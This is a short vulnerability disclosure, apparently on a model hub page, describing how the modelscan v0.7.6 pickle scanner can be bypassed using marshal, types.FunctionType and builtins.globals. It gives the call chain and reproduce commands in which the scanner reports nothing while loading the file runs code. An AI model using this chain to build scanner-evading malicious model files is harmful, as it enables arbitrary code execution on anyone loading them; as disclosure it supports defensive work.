modelscan Bypass PoC: marshal.loads + types.FunctionType + builtins.globals
Vulnerability
Demonstrates a bypass of ProtectAI's modelscan v0.7.6 pickle scanner using three modules absent from the blocklist:
marshalโ deserializes pre-compiled Python code objectstypesโ wraps code objects into callable FunctionType instancesbuiltins.globalsโ provides the runtime namespace (passes substring filter since "globals" doesn't match any blocked name)
Impact
Full arbitrary code execution when the model file is loaded via pickle.loads() or torch.load(), while modelscan reports zero issues.
Chain
types.FunctionType(
marshal.loads(<compiled_bytecode>),
builtins.globals()
)()
Reproduce
modelscan scan -p pytorch_model.bin # โ No issues found
python3 -c "import pickle; pickle.loads(open('pytorch_model.bin','rb').read())" # โ RCE
Inference Providers NEW
This model isn't deployed by any Inference Provider. ๐ Ask for provider support